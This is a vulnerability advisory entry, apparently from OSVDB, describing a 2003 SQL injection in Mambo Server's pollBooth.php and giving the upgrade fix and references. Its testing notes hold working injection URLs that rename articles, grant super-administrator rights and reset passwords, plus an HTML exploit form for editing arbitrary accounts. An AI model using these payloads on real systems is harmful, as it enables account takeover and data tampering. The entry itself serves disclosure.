Info

Last Modified

8 months ago

Percent Complete

90%

Disclosure

Dec 10, 2003

Discovery

Nov 25, 2003

Dates

Exploit

Dec 10, 2003

Solution

Unknown

Description

Mambo Server contains a flaw that will allow an attacker to inject arbitrary SQL code. The problem is that the "dbprefix" variable in the "pollBooth.php" script is not verified properly and will allow an attacker to inject or manipulate SQL queries.

Classification

Location: Remote/Network Access Required
Attack Type: Information Disclosure, Input Manipulation
Impact: Loss of Confidentiality, Loss of Integrity
OSVDB: Web Related

Solution

Upgrade to version 4.0.14 patch 02 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

Mambo Open Source	Mambo Server	4.0.14
		4.5 Beta 1.0.3

References

Bugtraq ID: 9197
Generic Informational URL: http://www.security-corporation.com/advisories-023.html
Related OSVDB ID: 7489 7490 7491 7492
ISS X-Force ID: 13961
Secunia Advisory ID: 10413
Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2003-12/0163.html
Vendor URL: http://www.mamboserver.com/

Manual Testing Notes

> Version 4.0.14 :

- Redefining of configuration variables (if magic_quotes_gpc=OFF):

# The title of the article N°23 becomes "hop" :
http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_articles%20SET%20title=char(104,111,112)
%20WHERE artid=23/*

# The user having id 52 becomes "super administrator" :
http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20usertype=char(115,117,
112,101,114,97,100,109,105,110,105,115,116,114,97,116,111,114)
%20WHERE%20id=52/*

# The password of the user having id 10 becomes 'a' :
http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20password=md5(char(97))
%20WHERE%20id=10/*

> Version 4.5 Beta 1.0.3 :

- Change of members's and administrator's informations :

Here is an example that permit to modify informations
about an ID account :

--------------------exploit.html--------------------
<html>
<head></head>
<body>
<form action="http://[target]/index.php" method="post">
New Name : <inputtype="text" name="name" value=""><br>
New E-mail : <input type="text" name="email" value="" size="30"><br>
New UserName : <input type="text" name="username" value=""><br>
New Password : <input type="password" name="password" value=""><br>
Verfiy New Pass : <input type="password" name="verifyPass"><br>
ID : <input type="text" name="id" value="1"><br>
<input type="hidden" name="option" value="com_user">
<input type="hidden" name="task" value="saveUserEdit">
<input type="submit" name="submit" value="Update"><br>
</form>
</body>
</html>
--------------------exploit.html--------------------

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